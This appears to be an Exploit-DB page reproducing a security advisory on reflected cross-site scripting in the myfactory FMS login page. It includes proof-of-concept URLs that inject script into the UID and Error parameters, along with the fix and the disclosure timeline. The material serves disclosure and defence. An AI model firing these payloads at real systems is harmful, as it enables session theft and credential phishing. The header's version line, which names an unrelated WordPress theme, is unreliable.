b17b7fe4b2
10 changes to exploits/shellcodes Mitsubishi Electric & INEA SmartRTU - Source Code Disclosure Mitsubishi Electric & INEA SmartRTU - Reflected Cross-Site Scripting (XSS) Mitsubishi Electric & INEA SmartRTU - Source Code Disclosure Mitsubishi Electric & INEA SmartRTU - Reflected Cross-Site Scripting (XSS) WordPress Theme Enfold 4.8.3 - Reflected Cross-Site Scripting (XSS) myfactory FMS 7.1-911 - 'Multiple' Reflected Cross-Site Scripting (XSS) Online Motorcycle (Bike) Rental System 1.0 - Blind Time-Based SQL Injection (Unauthenticated)
133 lines
No EOL
4.6 KiB
Text
133 lines
No EOL
4.6 KiB
Text
# Exploit Title: myfactory FMS 7.1-911 - 'Multiple' Reflected Cross-Site Scripting (XSS)
|
|
# Exploit Author: RedTeam Pentesting GmbH
|
|
# Vendor Homepage: https://www.myfactory.com/
|
|
# Version: Enfold < 4.8.4 (all versions)
|
|
# Tested on: Ubuntu
|
|
# CVE : CVE-2021-42565, CVE-2021-42566
|
|
# Reference: https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-001/-cross-site-scripting-in-myfactory-fms
|
|
|
|
|
|
During a penetration test, a reflected cross-site scripting
|
|
vulnerability (XSS) was found in the myfactory.FMS login form. If a user
|
|
opens an attacker-prepared link to the application, attackers can run
|
|
arbitrary JavaScript code in the user's browser.
|
|
|
|
Introduction
|
|
============
|
|
|
|
"With myfactory, you get a modern accounting application for your business. It covers every functionality necessary for an accounting system."
|
|
(translated from German from the vendor's homepage)
|
|
|
|
More Details
|
|
============
|
|
|
|
The myfactory.FMS web application[0] allows users to login with a username and password. If the password is wrong, the application redirects to a URL similar to the following:
|
|
|
|
http://www.example.com/ie50/system/login/SysLoginUser.aspx?Login=Denied&UID=RedTeam
|
|
|
|
The application then opens a dialogue telling the user that their
|
|
username or password are wrong and uses the value of the parameter UID
|
|
to prefill the login form resulting in the following source code:
|
|
|
|
------------------------------------------------------------------------
|
|
<td>
|
|
<input NAME="txtUID" VALUE="RedTeam"
|
|
onkeypress="OnKeyPress(event)" placeholder="Benutzername" >
|
|
</td>
|
|
------------------------------------------------------------------------
|
|
|
|
The UID parameter gets reflected without applying any encoding to it.
|
|
|
|
A similar problem arises when the login leads to an error. This introduces a new parameter named 'Error':
|
|
|
|
http://www.example.com/ie50/system/login/SysLoginUser.aspx?Login=Error&Error=RedTeam_Error
|
|
|
|
The value of the Error parameter gets appended without encoding in the
|
|
javascript function mOnLoad resulting in the following code:
|
|
|
|
------------------------------------------------------------------------
|
|
function mOnLoad(
|
|
{
|
|
var sParams;
|
|
alert('Das System konnte Sie nicht anmelden.\n RedTeam_Error');
|
|
[...]
|
|
------------------------------------------------------------------------
|
|
|
|
|
|
Proof of Concept
|
|
================
|
|
|
|
The XSS in the UID parameter can be triggered with the following URL:
|
|
|
|
http://www.example.com/ie50/system/login/SysLoginUser.aspx?Login=Denied&UID="><script>alert("RedTeam+Pentesting")</script><span+"
|
|
|
|
This will lead to the following HTML returned by the server:
|
|
|
|
------------------------------------------------------------------------
|
|
<td>
|
|
<input NAME="txtUID" VALUE=""><script>alert("RedTeam Pentesting")</script><span ""
|
|
onkeypress="OnKeyPress(event)" placeholder="Benutzername" >
|
|
</td>
|
|
------------------------------------------------------------------------
|
|
|
|
To demonstrate the XSS via the Error parameter, the following URL can be
|
|
used:
|
|
|
|
http://www.example.com/ie50/system/login/SysLoginUser.aspx?Login=Error&Error=');alert("RedTeam+Pentesting");//
|
|
|
|
This will lead to the following JavaScript embedded in the HTML website
|
|
returned by the server:
|
|
|
|
------------------------------------------------------------------------
|
|
function mOnLoad(
|
|
{
|
|
var sParams;
|
|
alert('Das System konnte Sie nicht anmelden.\n ');alert("RedTeam+Pentesting");//');
|
|
[...]
|
|
------------------------------------------------------------------------
|
|
|
|
Workaround
|
|
==========
|
|
|
|
None
|
|
|
|
|
|
Fix
|
|
===
|
|
|
|
Install Version 7.1-912 or later.
|
|
|
|
|
|
Security Risk
|
|
=============
|
|
|
|
This security vulnerability allows to execute arbitrary JavaScript code in
|
|
users' browsers if they access URLs prepared by attackers. This provides many
|
|
different possibilities for further attacks against these users. The
|
|
vulnerability could for example be exploited to display a fake login to obtain
|
|
credentials and consequently access a company's accounting information. Since
|
|
attackers might be able to get access to sensitive financial data, but users
|
|
have to actively open an attacker-defined link, this vulnerability is estimated
|
|
to pose a medium risk.
|
|
|
|
|
|
Timeline
|
|
========
|
|
|
|
2021-05-07 Vulnerability identified
|
|
2021-05-27 Customer approved disclosure to vendor
|
|
2021-06-07 Vendor notified, support confirms vulnerability and
|
|
implements fix. Support says vendor does not agree to a
|
|
public advisory.
|
|
2021-06-10 Vendor contacts RedTeam Pentesting, reiterates that
|
|
no advisory should be released. Vendor acknowledges
|
|
public release after 90 days.
|
|
2021-10-04 Customer confirms update to fixed version
|
|
2021-10-13 Advisory released
|
|
2021-10-14 CVE-ID requested
|
|
2021-10-18 CVE-ID assigned
|
|
|
|
|
|
References
|
|
==========
|
|
[0] https://www.myfactory.com/myfactoryfms.aspx |